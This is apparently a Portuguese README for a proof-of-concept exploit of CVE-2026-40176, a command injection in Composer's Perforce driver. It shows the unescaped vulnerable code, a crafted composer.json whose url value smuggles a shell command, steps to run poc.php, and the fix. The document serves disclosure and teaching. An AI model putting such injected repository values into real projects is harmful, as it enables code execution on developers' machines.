
Prova de conceito para CVE-2026-40176, uma injeção de comando no driver Perforce do Composer permitindo execução remota de código via composer.json manipulado.
Este repositório é uma Prova de Conceito (PoC) para a vulnerabilidade crítica de injeção de comando de SO CVE-2026-40176 presente no driver Perforce VCS do Composer. Esta vulnerabilidade afeta versões do Composer anteriores a 2.2.27 e 2.9.6.
A vulnerabilidade existe no método Perforce::generateP4Command(). Ao montar comandos de shell, os valores de configuração do repositório, como url, p4user e client, não são sanitizados adequadamente, possibilitando que um invasor, usando um composer.json controlado, execute comandos arbitrários no momento em que a vítima executa composer install ou composer update.
Descoberto por: saku0512 (GitHub)
Este projeto destina-se exclusivamente a fins educacionais e a testes de segurança éticos autorizados.
O autor não se responsabiliza por uso indevido, danos ou atividades ilegais decorrentes desta ferramenta. Acessar sistemas de computador sem permissão é ilegal. Ao utilizar este software, você concorda em realizar testes de segurança apenas em ambientes para os quais tenha autorização explícita.
No método generateP4Command() em src/Composer/Util/Perforce.php, as strings obtidas das configurações do repositório são concatenadas diretamente para construir um comando de shell.
$p4Command = $this->getP4Executable().' ';
$p4Command .= '-u ' . $this->getUser() . ' '; // Não escapado
if ($useClient) {
$p4Command .= '-c ' . $this->getClient() . ' '; // Não escapado
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command; // Não escapado
Se esses valores contiverem metacaracteres de shell como ;, & ou |, eles serão interpretados pelo shell, resultando em injeção de comando.
Certifique-se de que o PHP está instalado. Este PoC reproduz a lógica vulnerável interna do Composer.
# Verificar versão do PHP
php -v
Um invasor pode criar um composer.json como o seguinte:
{
"repositories": [
{
"type": "perforce",
"url": "localhost:1666; touch /tmp/pwned_rce_confirmed #",
"depot": "depot"
}
],
"require": {
"some/package": "dev-master"
}
}
O poc.php incluso reproduz a lógica interna de geração e execução de comandos na versão vulnerável do Composer.
# Executar o PoC
php poc.php
Verifique se o arquivo criado pelo payload existe para confirmar a execução do comando.
ls -l /tmp/pwned_rce_confirmed
Se o arquivo existir, a execução remota de código (RCE) foi confirmada.
Atualize o Composer imediatamente para a versão mais recente.
composer self-update
A correção aplica ProcessExecutor::escape() a todos os argumentos provenientes de entrada do usuário para evitar a interpretação pelo shell.